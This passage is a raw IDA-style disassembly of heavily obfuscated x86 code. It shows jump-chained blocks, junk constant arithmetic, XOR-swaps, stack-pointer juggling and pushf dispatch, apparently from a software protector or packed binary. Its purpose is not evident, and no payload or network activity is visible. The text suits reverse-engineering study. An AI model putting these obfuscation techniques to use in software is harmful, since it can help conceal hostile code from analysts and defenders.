[esp-6E88h+arg_6E80] pop esp mov [esp], ebx push ebp mov ebp, 4DC25EABh mov ebx, 5C5B6B62h xor ebx, ebp push [esp-6E88h+arg_6E80] jmp loc_595211 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E84h+arg_6E7C] push 0B62h mov [esp-6E80h+arg_6E76+2], edi mov edi, esp jmp loc_59288C ; --------------------------------------------------------------------------- loc_599114: ; CODE XREF: sub_581EE9+199ADj pop edi sub edi, 6D7A37F2h jmp loc_5A067D ; --------------------------------------------------------------------------- loc_599120: ; CODE XREF: sub_581EE9+159EAj mov [esp-6E6Ah+arg_6E60+2], ebp mov ebp, 1 push ecx mov ecx, ebp push 2F51h mov [esp-6E62h+arg_6E58+2], ecx xor [esp-6E62h+arg_6E58+2], 0B213F61h mov edi, [esp-6E62h+arg_6E58+2] add esp, 4 xor edi, 0B213F61h pop ecx pop ebp and eax, edi push [esp-6E6Eh+arg_6E64+2] pop edi jmp loc_5A3CA1 ; --------------------------------------------------------------------------- loc_599156: ; CODE XREF: sub_581EE9+11269j add eax, esi jmp loc_597191 ; --------------------------------------------------------------------------- loc_59915D: ; CODE XREF: sub_581EE9+12389j push esp jmp loc_59E9CD ; --------------------------------------------------------------------------- loc_599163: ; CODE XREF: sub_581EE9+1CD7Fj push edi push eax mov eax, 784A62D5h shl eax, 7 and eax, 60386603h jmp loc_5945E9 ; --------------------------------------------------------------------------- loc_599177: ; CODE XREF: sub_581EE9+1C833j add esp, 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599182: ; CODE XREF: sub_581EE9+23CA2j mov esi, [esp-6E6Eh+arg_6E64+2] add esp, 4 jmp loc_59441B ; --------------------------------------------------------------------------- loc_599190: ; CODE XREF: sub_581EE9+1C0A3j pop ebx push 3B59h jmp loc_59DA00 ; --------------------------------------------------------------------------- loc_59919B: ; CODE XREF: sub_581EE9+1F0E9j dec ch sub ch, 8 push ebx mov bl, 4 add bl, 0B5h shr bl, 8 xor bl, 21h jmp loc_5A343E ; --------------------------------------------------------------------------- loc_5991B1: ; CODE XREF: sub_581EE9+13487j and ebp, 361C567Ah push 447Eh mov [esp-6E66h+arg_6E5C+2], ecx jmp loc_599082 ; --------------------------------------------------------------------------- loc_5991C4: ; CODE XREF: sub_581EE9+230F0j push edx jmp loc_5A514C ; --------------------------------------------------------------------------- loc_5991CA: ; CODE XREF: sub_581EE9+1F7CCj pop ecx mov edx, [esp-6E66h+arg_6E5C+2] jmp loc_59C01B ; --------------------------------------------------------------------------- loc_5991D3: ; CODE XREF: sub_581EE9+1244Fj mov ebx, 361E516Bh mov esi, 361E516Fh jmp loc_59FD38 ; --------------------------------------------------------------------------- loc_5991E2: ; CODE XREF: sub_581EE9+14CFAj mov edi, 0B4C7D522h xor edi, ecx push [esp-6E7Ah+arg_6E72] mov ecx, [esp-6E76h+arg_6E6E] jmp loc_59390B ; --------------------------------------------------------------------------- loc_5991F4: ; CODE XREF: sub_581EE9+1C633j add esp, 4 jmp loc_59D1F1 ; --------------------------------------------------------------------------- loc_5991FC: ; CODE XREF: sub_581EE9+22A29j sub dl, 6Ah jmp loc_5A33D2 ; --------------------------------------------------------------------------- loc_599204: ; CODE XREF: sub_581EE9+248BEj pop edx xchg edi, [esp] mov esp, [esp] add esp, 4 push edx push esp mov edx, [esp-6E7Ah+arg_6E72] push ebx mov ebx, esp push ebp mov ebp, 7ECF5CC0h not ebp add ebp, 7ECF5CC5h add ebx, ebp pop ebp add ebx, 4 xor ebx, [esp-6E76h+arg_6E6E] xor [esp-6E76h+arg_6E6E], ebx xor ebx, [esp-6E76h+arg_6E6E] jmp loc_59C9D1 ; --------------------------------------------------------------------------- loc_599238: ; CODE XREF: sub_581EE9+249AAj mov [esp-6E76h+arg_6E6E], ecx push ebp jmp loc_593B66 ; --------------------------------------------------------------------------- loc_599241: ; CODE XREF: sub_581EE9+126CAj add edi, esi mov esi, [esp-6E88h+arg_6E80] add esp, 4 push esi jmp loc_5A5F6E ; --------------------------------------------------------------------------- loc_599252: ; CODE XREF: sub_581EE9+1DE2Aj sub ebp, 638B4A5Dh add ebp, ebx add ebp, 638B4A5Dh mov ebx, [esp-6E88h+arg_6E80] add esp, 4 push edx push ebp mov ebp, 2CF75857h add ebp, 0D308A7ABh push ebx mov ebx, ebp mov edx, ebx pop ebx jmp loc_5A45F1 ; --------------------------------------------------------------------------- loc_59927E: ; CODE XREF: sub_581EE9+22F82j add [esp-6E84h+arg_6E7C], 4 pop ebx add ebx, 4 push eax push ebx push 4CE56D39h pop ebx mov eax, 1ECECEBFh add eax, ebx pop ebx jmp loc_59989C ; --------------------------------------------------------------------------- loc_59929E: ; CODE XREF: sub_581EE9+143F8j sub esi, ebp pop ebp shr esi, 4 jmp loc_598F3E ; --------------------------------------------------------------------------- loc_5992A9: ; CODE XREF: sub_581EE9+1B434j shl edx, 1 push 3E9Bh mov [esp-6EACh+arg_6EA4], ebx mov ebx, 79F818DAh neg ebx xchg ebp, ebx neg ebp xchg ebp, ebx neg ebx sub ebx, 553812D0h add ebx, 5958E6DAh xor edx, ebx push [esp-6EACh+arg_6EA4] pop ebx jmp loc_5A05E3 ; --------------------------------------------------------------------------- loc_5992D9: ; CODE XREF: sub_581EE9+14B80j add ch, al mov eax, [esp-6EA0h+arg_6E96+2] push ebp push esp mov ebp, [esp-6E98h+arg_6E8E+2] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp-6E9Ch+arg_6E92+2] pop esp dec ch neg ch jmp loc_59392E ; --------------------------------------------------------------------------- loc_5992FC: ; CODE XREF: sub_581EE9+164EEj push esp pop eax push esi push 4B4F2DE6h mov esi, [esp-6E6Ah+arg_6E60+2] add esp, 4 jmp loc_5953D5 ; --------------------------------------------------------------------------- loc_59930F: ; CODE XREF: sub_581EE9+23FB3j add ebx, eax push ecx mov ecx, 595A5765h jmp loc_59734C ; --------------------------------------------------------------------------- loc_59931C: ; CODE XREF: sub_581EE9+14581j mov edx, 3BC35B0Eh xor edx, 3BC35B0Ah mov ecx, edx jmp loc_59A4E6 ; --------------------------------------------------------------------------- loc_59932E: ; CODE XREF: sub_581EE9+125BDj pop ebx jmp loc_594808 ; --------------------------------------------------------------------------- loc_599334: ; CODE XREF: sub_581EE9+1DB4Cj sub ecx, 4 xchg ecx, [esp-6EA6h+arg_6E9E] pop esp mov dword ptr [esp-6EAAh+arg_6EA2], ecx jmp loc_59C1FE ; --------------------------------------------------------------------------- loc_599346: ; CODE XREF: sub_581EE9+21D59j push 52C4110Fh jmp loc_59A6D6 ; --------------------------------------------------------------------------- loc_599350: ; CODE XREF: sub_581EE9+2357Dj pop esp jmp loc_5A4F4A ; --------------------------------------------------------------------------- loc_599356: ; CODE XREF: sub_581EE9+22253j pop ebx jmp loc_59BB37 ; --------------------------------------------------------------------------- loc_59935C: ; CODE XREF: sub_581EE9+22BBCj xor bl, 0DEh push 9FFh jmp loc_5A48E3 ; --------------------------------------------------------------------------- loc_599369: ; CODE XREF: sub_581EE9+122A0j sub edi, 0EFF36FF3h jmp loc_59A537 ; --------------------------------------------------------------------------- loc_599374: ; CODE XREF: sub_581EE9+2118Aj add [esp-6E66h+arg_6E60+2], 3D4667B5h jmp loc_598AC0 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E66h+arg_6E5C+2] push 7246h mov [esp-6E62h+arg_6E58+2], edi push 2C4Bh jmp loc_5A0778 ; --------------------------------------------------------------------------- loc_599397: ; CODE XREF: sub_581EE9+19839j mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, 52A34505h add esi, eax jmp loc_5A42DE ; --------------------------------------------------------------------------- loc_5993B2: ; CODE XREF: sub_581EE9+1CFA1j xor ecx, ebx push [esp-6E5Ah+arg_6E50+2] pop ebx jmp loc_5A44F6 ; --------------------------------------------------------------------------- loc_5993BD: ; CODE XREF: sub_581EE9+10AB2j shl edx, 1 push 616Bh mov [esp-6E9Eh+arg_6E96], ecx jmp loc_59E20E ; --------------------------------------------------------------------------- loc_5993CC: ; CODE XREF: sub_581EE9+244B1j pop esp add esp, 4 push dword ptr [ecx] xor [esp-6EA2h+arg_6E9A], 7A485EE7h jmp loc_597811 ; --------------------------------------------------------------------------- loc_5993E1: ; CODE XREF: sub_581EE9+13EEBj add ebx, 0BEB3189h pop edi jmp loc_599DE9 ; --------------------------------------------------------------------------- loc_5993ED: ; CODE XREF: sub_581EE9+1E654j add esp, 4 xor ecx, [esp-6E9Eh+arg_6E96] xor [esp-6E9Eh+arg_6E96], ecx xor ecx, [esp-6E9Eh+arg_6E96] mov esp, [esp-6E9Eh+arg_6E96] cmp ecx, eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599407: ; CODE XREF: sub_581EE9+1CB63j shr ebp, 8 add ebp, 1 sub ebp, 0AC901B6Eh sub edx, ebp pop ebp pop eax xchg edx, [esp-6EA2h+arg_6E9A] mov esp, [esp-6EA2h+arg_6E9A] xor [esp-6EA2h+arg_6E9A], eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599429: ; CODE XREF: sub_581EE9+2369Aj sub esp, 4 mov [esp-6E9Ah+arg_6E92], ebp push [esp-6E9Ah+arg_6E96] push [esp-6E96h+arg_6E8E] pop ebp jmp loc_5A2F8F ; --------------------------------------------------------------------------- loc_59943C: ; CODE XREF: sub_581EE9+16911j mov [esp-6E98h+arg_6E8E+2], ecx push ebp jmp loc_5A3516 ; --------------------------------------------------------------------------- loc_599445: ; CODE XREF: sub_581EE9+151E6j mov eax, 4 add edx, eax mov eax, [esp-6E78h+arg_6E6E+2] add esp, 4 push ecx mov ecx, 66F668C7h xor ecx, 66F668C3h sub edx, ecx pop ecx xchg edx, [esp-6E7Ch+arg_6E72+2] pop esp jmp loc_59DB89 ; --------------------------------------------------------------------------- loc_59946D: ; CODE XREF: sub_581EE9+23B4Aj push edi jmp loc_59CF6C ; --------------------------------------------------------------------------- loc_599473: ; CODE XREF: sub_581EE9+24323j or eax, esi pop esi jmp loc_5A29B0 ; --------------------------------------------------------------------------- loc_59947B: ; CODE XREF: sub_581EE9+20E96j push ebx mov bh, 90h push eax mov ah, 41h not ah jmp loc_59E8C9 ; --------------------------------------------------------------------------- loc_599488: ; CODE XREF: sub_581EE9+1F761j mov [esp-6E78h+arg_6E6E+2], edi jmp loc_5A6FC0 ; --------------------------------------------------------------------------- loc_599490: ; CODE XREF: sub_581EE9+1B29Aj mov [esp-6E78h+arg_6E6E+2], ecx mov ecx, esp push ebp mov ebp, 1863541Dh sub ebp, 95030E5h sub ebp, 0F132334h add ecx, 76E50E63h add ecx, ebp jmp loc_59B09B ; --------------------------------------------------------------------------- loc_5994B4: ; CODE XREF: sub_581EE9+22C06j mov [esp+0], ebx sub esp, 4 jmp loc_5A3C0D ; --------------------------------------------------------------------------- loc_5994BF: ; CODE XREF: sub_581EE9+1E6D4j mov [esp-6E70h+arg_6E68], esi mov esi, esp add esi, 4 jmp loc_5A043A ; --------------------------------------------------------------------------- loc_5994CF: ; CODE XREF: sub_581EE9+18A42j sub ebp, ecx jmp loc_5A5BF7 ; --------------------------------------------------------------------------- loc_5994D6: ; CODE XREF: sub_581EE9+1B59Cj add ebx, 4 jmp loc_59FD7C ; --------------------------------------------------------------------------- loc_5994DE: ; CODE XREF: sub_581EE9+14C43j push esi push [esp-6E5Ah+arg_6E54+2] pop esi pop [esp-6E5Ah+arg_6E50+2] pop esp sub esp, 4 mov [esp-6E5Eh+arg_6E54+2], eax push esp jmp loc_5A272B ; --------------------------------------------------------------------------- loc_5994F4: ; CODE XREF: sub_581EE9+1F7BEj push ebp mov ebp, edi jmp loc_5962C9 ; --------------------------------------------------------------------------- loc_5994FC: ; CODE XREF: sub_581EE9+1DB57j shl ebp, 4 shr ebp, 7 sub ebp, 1DFE47Ah add esi, ebp pop ebp xor esi, [esp-6E5Ah+arg_6E50+2] xor [esp-6E5Ah+arg_6E50+2], esi xor esi, [esp-6E5Ah+arg_6E50+2] mov esp, [esp-6E5Ah+arg_6E50+2] push ebx mov ebx, 3FF416D5h jmp loc_592746 ; --------------------------------------------------------------------------- loc_599522: ; CODE XREF: sub_581EE9+20AD6j push ebp mov ebp, 631B4217h inc ebp add ebp, 6C5F5AF0h jmp loc_5A0E7C ; --------------------------------------------------------------------------- loc_599534: ; CODE XREF: sub_581EE9+1549Cj add ebx, 0E76AD2C0h sub esi, ebx pop ebx add edx, esi pop esi push eax mov eax, 4 add edx, eax pop eax push edx push [esp-6E86h+arg_6E80+2] pop edx pop [esp-6E86h+arg_6E7C+2] pop esp push edx mov edx, esp add edx, 4 jmp loc_59AE66 ; --------------------------------------------------------------------------- neg word ptr [esp-6E8Ah+arg_6E80+2] pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59956B: ; CODE XREF: sub_581EE9+1F729j mov edi, 6A09156Fh add edi, 95F6EA93h jmp loc_59B813 ; --------------------------------------------------------------------------- loc_59957B: ; CODE XREF: sub_581EE9+152D7j push [esp-6E66h+arg_6E5C+2] jmp loc_59C7A0 ; --------------------------------------------------------------------------- push ebx sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], edi jmp loc_5A466F ; --------------------------------------------------------------------------- loc_59958F: ; CODE XREF: sub_581EE9+1491Cj push small 3D14h mov word ptr [esp-6E64h+arg_6E5C], cx mov cl, 9 sub al, 85h sub esp, 2 mov word ptr [esp-6E60h+arg_6E58], bx mov bl, 46h sub al, bl pop bx jmp loc_5984EE ; --------------------------------------------------------------------------- loc_5995AD: ; CODE XREF: sub_581EE9+178F9j sub al, 81h mov edx, [esp-6E62h+arg_6E58+2] add esp, 4 sub esp, 4 mov [esp-6E62h+arg_6E58+2], eax mov ah, 1 add bl, ah jmp loc_596CE1 ; --------------------------------------------------------------------------- loc_5995C7: ; CODE XREF: sub_581EE9+10D17j push dword ptr [esp-6E7Eh+arg_6E7A] pop esi jmp loc_596965 ; --------------------------------------------------------------------------- loc_5995D1: ; CODE XREF: sub_581EE9+1A18Fj mov eax, [esp] add esp, 4 jmp loc_5976FC ; --------------------------------------------------------------------------- loc_5995DC: ; CODE XREF: sub_581EE9+1EBC8j mov ebp, 2B703B1Ch sub ebp, 1189FF95h add edx, 4BA53CEDh jmp loc_59EA2F ; --------------------------------------------------------------------------- loc_5995F2: ; CODE XREF: sub_581EE9+191B9j push edi mov edi, 6E192E1Ah jmp loc_59F6C4 ; --------------------------------------------------------------------------- jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599602: ; CODE XREF: sub_581EE9+188B2j mov [esp-6E7Eh+arg_6E76], edi xor [esp-6E7Eh+arg_6E76], 121F4C10h pop ecx xor ecx, 121F4C10h mov edi, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 jmp loc_59370D ; --------------------------------------------------------------------------- loc_59961E: ; CODE XREF: sub_581EE9+108D6j xor edi, eax pop eax xor edi, 33014E69h not edi push edx mov edx, 33D502A4h dec edx inc edx jmp loc_59AD7F ; --------------------------------------------------------------------------- loc_599636: ; CODE XREF: sub_581EE9+1B9B7j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59963B: ; CODE XREF: sub_581EE9+15898j add edi, 4 add edi, 4 xchg edi, [esp-6E88h+arg_6E80] jmp loc_5A22F1 ; --------------------------------------------------------------------------- loc_59964C: ; CODE XREF: sub_581EE9+21582j add esp, 4 jmp loc_5A2D4A ; --------------------------------------------------------------------------- loc_599654: ; CODE XREF: sub_581EE9+14FCCj pop [esp-6E5Ah+arg_6E50+2] mov esp, [esp-6E5Eh+arg_6E54+2] mov [esp-6E5Eh+arg_6E54+2], esi push 800h jmp loc_59CF59 ; --------------------------------------------------------------------------- loc_599667: ; CODE XREF: sub_581EE9+10715j add edx, 7DE1D4EDh sub ebx, 113A723Eh jmp loc_5A67E6 ; --------------------------------------------------------------------------- loc_599678: ; CODE XREF: sub_581EE9+1DB0Cj xor eax, 32524337h add edi, eax pop eax sub edi, 4 jmp loc_591FF6 ; --------------------------------------------------------------------------- loc_599688: ; CODE XREF: sub_581EE9+15923j pop esp push ecx mov ecx, esp push ebx push esp pop ebx add ebx, 4 push esi mov esi, 4 jmp loc_59239D ; --------------------------------------------------------------------------- loc_5996A0: ; CODE XREF: sub_581EE9+1B5D9j shl ebx, 3 dec ebx not ebx jmp loc_59EB21 ; --------------------------------------------------------------------------- loc_5996AB: ; CODE XREF: sub_581EE9+1A5EDj sub eax, 0A9A3D4B4h add esi, eax pop eax push 1EC8h jmp loc_5A6C5A ; --------------------------------------------------------------------------- loc_5996BD: ; CODE XREF: sub_581EE9+1ECFFj push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp-6E8Ch+arg_6E84] pop esp push ebp jmp loc_599ED1 ; --------------------------------------------------------------------------- loc_5996D0: ; CODE XREF: sub_581EE9+11863j push edx jmp loc_5A1FDB ; --------------------------------------------------------------------------- push [esp-6E82h+arg_6E7C+2] push dword ptr [esp] mov eax, [esp-6E7Ah+arg_6E72] add esp, 4 sub esp, 4 jmp loc_59A37A ; --------------------------------------------------------------------------- loc_5996EE: ; CODE XREF: sub_581EE9+18465j push 683h mov [esp-6E76h+arg_6E6E], ebx jmp loc_59D427 ; --------------------------------------------------------------------------- loc_5996FB: ; CODE XREF: sub_581EE9+1CBF0j xor ecx, eax push [esp-6E76h+arg_6E6E] pop eax add esp, 4 sub ecx, 17313765h add ecx, edi jmp loc_598208 ; --------------------------------------------------------------------------- loc_599714: ; CODE XREF: sub_581EE9+1156Fj sub esp, 4 mov [esp-6E7Ah+arg_6E72], ebx jmp loc_59FFC6 ; --------------------------------------------------------------------------- loc_59971F: ; CODE XREF: sub_581EE9+17A10j xor eax, 4DCD46CAh push ebp jmp loc_599A94 ; --------------------------------------------------------------------------- loc_59972A: ; CODE XREF: sub_581EE9+1D7D6j add edx, 3D7129BEh and edx, 701A11A3h sub edx, 0E4848D92h jmp loc_5A32EC ; --------------------------------------------------------------------------- loc_599741: ; CODE XREF: sub_581EE9+2242Ej xor ebx, 4CA205BAh dec ebx sub ebx, 2C2C70E7h add ebx, 22FD00AFh push ebp mov ebp, 7CC83DA1h jmp loc_5A4984 ; --------------------------------------------------------------------------- loc_59975F: ; CODE XREF: sub_581EE9+166BDj mov ebp, 0FFFFFFFFh add edx, 3CD82847h sub edx, ebp sub edx, 3CD82847h jmp loc_596934 ; --------------------------------------------------------------------------- push [esp-6E6Ch+arg_6E64] pop ecx jmp loc_595FFA ; --------------------------------------------------------------------------- loc_599780: ; CODE XREF: sub_581EE9+1A955j neg eax neg eax jmp loc_59EF21 ; --------------------------------------------------------------------------- loc_599789: ; CODE XREF: sub_581EE9+14E71j push [esp-6E9Ah+arg_6E92] pop edx add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-6E9Ah+arg_6E92] jmp loc_5977C5 ; --------------------------------------------------------------------------- loc_5997AA: ; CODE XREF: sub_581EE9+1108Ej pop [esp-6E62h+arg_6E58+2] jmp loc_5924B6 ; --------------------------------------------------------------------------- loc_5997B2: ; CODE XREF: sub_581EE9+1EEDEj shl ebx, 6 xor ebx, 0D1E33E69h sub edx, ebx pop ebx sub esi, edx pop edx add esi, ebx add esi, 6EFF34B9h pop ebx xchg esi, [esp-6E72h+arg_6E68+2] pop esp push 0EF6h jmp loc_5A193C ; --------------------------------------------------------------------------- loc_5997D8: ; CODE XREF: sub_581EE9+1FF41j pop [esp-6E72h+arg_6E68+2] mov esp, [esp-6E76h+arg_6E6E] add al, 81h sub al, dl jmp loc_5995AD ; --------------------------------------------------------------------------- loc_5997E7: ; CODE XREF: sub_581EE9+1BD22j xchg ebp, [esp-6E76h+arg_6E6E] pop esp add edx, eax jmp loc_5A703E ; --------------------------------------------------------------------------- loc_5997F2: ; CODE XREF: sub_581EE9+1D349j push ebp jmp loc_596DF8 ; --------------------------------------------------------------------------- loc_5997F8: ; CODE XREF: sub_581EE9+1A1E2j push 712Dh mov [esp-6E72h+arg_6E68+2], edx mov edx, 439118DAh jmp loc_59862C ; --------------------------------------------------------------------------- loc_59980A: ; CODE XREF: sub_581EE9+22049j push edx mov edx, 800h push edx pop edi pop edx and eax, edi push [esp-6E72h+arg_6E68+2] mov edi, [esp-6E6Eh+arg_6E64+2] push 7C03h mov [esp-6E6Ah+arg_6E60+2], edx jmp loc_59E6D2 ; --------------------------------------------------------------------------- loc_599828: ; CODE XREF: sub_581EE9+1C11Fj push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E66h+arg_6E5C+2] pop esp mov [esp-6E6Ah+arg_6E60+2], ecx push 6EDh mov [esp-6E66h+arg_6E5C+2], ebx mov bh, dh mov cl, bh pop ebx jmp loc_5A1160 ; --------------------------------------------------------------------------- loc_59984D: ; CODE XREF: sub_581EE9+16B02j not [esp-6EA6h+arg_6E9E] jmp loc_59BAA7 ; --------------------------------------------------------------------------- loc_599855: ; CODE XREF: sub_581EE9+1C48Bj pop ebx and ecx, 4DFA21EFh inc ecx inc ecx push edx push ecx mov ecx, 264805C4h mov edx, 27AA1BEDh add edx, ecx pop ecx sub ecx, edx jmp loc_59E935 ; --------------------------------------------------------------------------- loc_599874: ; CODE XREF: sub_581EE9+1364Cj mov ebx, 0D1693534h add esi, ebx pop ebx or eax, esi jmp loc_5946C1 ; --------------------------------------------------------------------------- loc_599883: ; CODE XREF: sub_581EE9+18084j pop ebx push dx mov dh, al push eax mov ah, dh push small 39BEh mov word ptr [esp-6E6Ch+arg_6E64], ax not byte ptr [esp-6E6Ch+arg_6E64+1] jmp loc_5A6898 ; --------------------------------------------------------------------------- loc_59989C: ; CODE XREF: sub_581EE9+173B0j inc eax jmp loc_59B603 ; --------------------------------------------------------------------------- loc_5998A2: ; CODE XREF: sub_581EE9+10F9Dj push ebp jmp loc_5A2490 ; --------------------------------------------------------------------------- loc_5998A8: ; CODE XREF: sub_581EE9+1F63Ej mov [esp-6E66h+arg_6E5C+2], ebx push esp mov ebx, [esp-6E62h+arg_6E58+2] jmp loc_5A4EC9 ; --------------------------------------------------------------------------- loc_5998B4: ; CODE XREF: sub_581EE9+13FB3j sub esi, 875418EDh add eax, 775A5F72h jmp loc_59F5E1 ; --------------------------------------------------------------------------- loc_5998C4: ; CODE XREF: sub_581EE9+16F20j mov bh, 6Eh push cx mov cl, 4Dh add bh, cl jmp loc_5980F2 ; --------------------------------------------------------------------------- loc_5998D1: ; CODE XREF: sub_581EE9+1D5ABj push ecx mov ecx, 3F3D4FBCh neg ecx xor ecx, 0C0C2B040h add edi, ecx jmp loc_59F40D ; --------------------------------------------------------------------------- loc_5998E6: ; CODE XREF: sub_581EE9+18E1Aj neg ebp xor ebp, 9DC1F044h add edx, ebp pop ebp push eax mov eax, 51C03186h shr eax, 1 jmp loc_59971F ; --------------------------------------------------------------------------- loc_5998FE: ; CODE XREF: sub_581EE9+16DCBj push ecx mov ecx, 55445C32h jmp loc_5A1904 ; --------------------------------------------------------------------------- loc_599909: ; CODE XREF: sub_581EE9+2339Bj sub esi, 7CBA5886h push [esp-6E76h+arg_6E6E] pop eax add esp, 4 xchg esi, [esp-6E7Ah+arg_6E72] mov esp, [esp-6E7Ah+arg_6E72] mul ecx jmp loc_597FEF ; --------------------------------------------------------------------------- loc_599923: ; CODE XREF: sub_581EE9+143DBj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EA4h+arg_6E9A+2] pop esp jmp loc_5A4B32 ; --------------------------------------------------------------------------- loc_599938: ; CODE XREF: sub_581EE9+1F54Dj pop esi jmp loc_59435B ; --------------------------------------------------------------------------- loc_59993E: ; CODE XREF: sub_581EE9+18708j add ebx, ebp push [esp-6EACh+arg_6EA4] mov ebp, [esp-6EA8h+arg_6E9E+2] add esp, 4 add esp, 4 push ecx mov ecx, 17CC3BF5h xor ecx, 556C0AFFh sub ebx, ecx pop ecx sub ebx, eax push ecx mov ecx, 597C22C3h shr ecx, 4 xor ecx, 4737F326h sub ebx, 65FA3386h jmp loc_596859 ; --------------------------------------------------------------------------- loc_59997D: ; CODE XREF: sub_581EE9+20C0Fj pop ebp push [esp-6EB0h+arg_6EA8] pop eax add esp, 4 sub esi, 62706EB0h jmp loc_599ACF ; --------------------------------------------------------------------------- loc_599990: ; CODE XREF: sub_581EE9+24CF7j xor [esp-6EB4h+arg_6EAC], eax xor eax, [esp-6EB4h+arg_6EAC] jmp loc_59F3FE ; --------------------------------------------------------------------------- loc_59999B: ; CODE XREF: sub_581EE9+15519j add edx, 0FC30242h jmp loc_599D4F ; --------------------------------------------------------------------------- loc_5999A6: ; CODE XREF: sub_581EE9+2149Bj add eax, ebp add eax, 7BFE2777h mov ebp, [esp-6E52h+arg_6E48+2] add esp, 4 jmp loc_59FA8F ; --------------------------------------------------------------------------- loc_5999BB: ; CODE XREF: sub_581EE9+15D04j shr ebp, 8 neg ebp neg ebp xor ebp, 1D0069B5h sub ebp, 7AF429CEh mov edi, ebp pop ebp xor esi, edi pop edi mov ebp, esi pop esi xor ebx, ebp mov ebp, [esp-6E9Ah+arg_6E92] add esp, 4 add eax, ebx mov ebx, [esp-6E9Eh+arg_6E96] jmp loc_59A39B ; --------------------------------------------------------------------------- loc_5999EC: ; CODE XREF: sub_581EE9+1D143j push 71FEh mov [esp-6E9Ah+arg_6E92], ebp push edi push 423405C7h pop edi mov ebp, edi jmp loc_596451 ; --------------------------------------------------------------------------- loc_599A02: ; CODE XREF: sub_581EE9+12EDAj pop ebp pop [esp-6EA6h+arg_6E9E] jmp loc_597CF1 ; --------------------------------------------------------------------------- loc_599A0B: ; CODE XREF: sub_581EE9+12AA1j dec edx jmp loc_5988E7 ; --------------------------------------------------------------------------- loc_599A11: ; CODE XREF: sub_581EE9+211C6j xchg edi, [esp-6E8Eh+arg_6E84+2] jmp loc_5929A0 ; --------------------------------------------------------------------------- loc_599A19: ; CODE XREF: sub_581EE9+244CBj mov ebp, [esp-6E8Eh+arg_6E84+2] add esp, 4 add ecx, 2 xor ecx, [esp-6E92h+arg_6E8A] jmp loc_5A0CF5 ; --------------------------------------------------------------------------- loc_599A2D: ; CODE XREF: sub_581EE9+1C5C5j push 4D55226Eh pop ebp jmp loc_5A2CAE ; --------------------------------------------------------------------------- loc_599A38: ; CODE XREF: sub_581EE9+22D95j push esp pop edx sub esp, 4 mov [esp-6E8Eh+arg_6E84+2], ebx mov ebx, 40051E48h sub ebx, 40051E44h push edi mov edi, 41114863h add edx, edi pop edi add edx, ebx sub edx, 41114863h pop ebx push ebx mov ebx, 3CE339C7h add ebx, 36D81E52h jmp loc_5A4F61 ; --------------------------------------------------------------------------- loc_599A6E: ; CODE XREF: sub_581EE9+160FAj xor edx, [esp-6E7Ch+arg_6E72+2] mov esp, [esp-6E7Ch+arg_6E72+2] div cl movzx cx, ah push ebx push esp pop ebx add ebx, 4 push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp-6E78h+arg_6E6E+2] jmp loc_59319E ; --------------------------------------------------------------------------- loc_599A94: ; CODE XREF: sub_581EE9+1783Cj mov ebp, 206A2FA0h xor ebp, 147368FEh or eax, ebp pop ebp xor eax, 79A22362h push esi jmp loc_59F29B ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599AB4: ; CODE XREF: sub_581EE9+153ECj sub di, si pop si sub bx, di pop edi add bx, 49EFh add bx, ax sub bx, 49EFh jmp loc_59770E ; --------------------------------------------------------------------------- loc_599ACF: ; CODE XREF: sub_581EE9+17AA2j sub esi, 72FC6043h add esi, 61B55059h add esi, edx sub esi, 61B55059h add esi, 72FC6043h push ebx mov ebx, 62706EB0h add esi, ebx jmp loc_593E53 ; --------------------------------------------------------------------------- loc_599AF6: ; CODE XREF: sub_581EE9+13824j add ebx, edi pop edi push eax mov eax, 1F814FDCh sub eax, 7E674D03h sub eax, 0A857166h jmp loc_5A0735 ; --------------------------------------------------------------------------- loc_599B0E: ; CODE XREF: sub_581EE9+1B289j neg bh inc bh sub bh, 64h jmp loc_599F6B ; --------------------------------------------------------------------------- loc_599B1A: ; CODE XREF: sub_581EE9+16B2Dj push ebx push edi mov edi, 19B01593h mov ebx, edi pop edi jmp loc_59D6C1 ; --------------------------------------------------------------------------- loc_599B29: ; CODE XREF: sub_581EE9+24948j sub eax, 55AF3EFAh jmp loc_5A1D46 ; --------------------------------------------------------------------------- loc_599B33: ; CODE XREF: sub_581EE9+214E4j shl ebp, 7 jmp loc_5A69D0 ; --------------------------------------------------------------------------- loc_599B3B: ; CODE XREF: sub_581EE9+13038j pop edx add eax, ebx jmp loc_59467A ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_5A3306 ; --------------------------------------------------------------------------- loc_599B4B: ; CODE XREF: sub_581EE9+12E82j mov edx, [esp-6EB4h+arg_6EAC] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EB0h+arg_6EA8] pop esp jmp loc_595C0E ; --------------------------------------------------------------------------- loc_599B62: ; CODE XREF: sub_581EE9+2521Aj sub esp, 4 mov [esp-6EB0h+arg_6EA8], eax mov ah, 95h add bh, ah pop eax mov ch, bh jmp loc_5A323F ; --------------------------------------------------------------------------- loc_599B77: ; CODE XREF: sub_581EE9+1FDA2j mov ecx, 5F4E0C1Fh mov ebx, ecx pop ecx jmp loc_59DF8A ; --------------------------------------------------------------------------- loc_599B84: ; CODE XREF: sub_581EE9+1BB3Bj add esi, edx push dword ptr [esp+0] mov edx, [esp-6EB4h+arg_6EAC] push 3EBDh jmp loc_5958B1 ; --------------------------------------------------------------------------- loc_599B96: ; CODE XREF: sub_581EE9+18B56j push [esp-6EB0h+arg_6EA8] push [esp-6EACh+arg_6EA4] pop edx jmp loc_5965A3 ; --------------------------------------------------------------------------- loc_599BA2: ; CODE 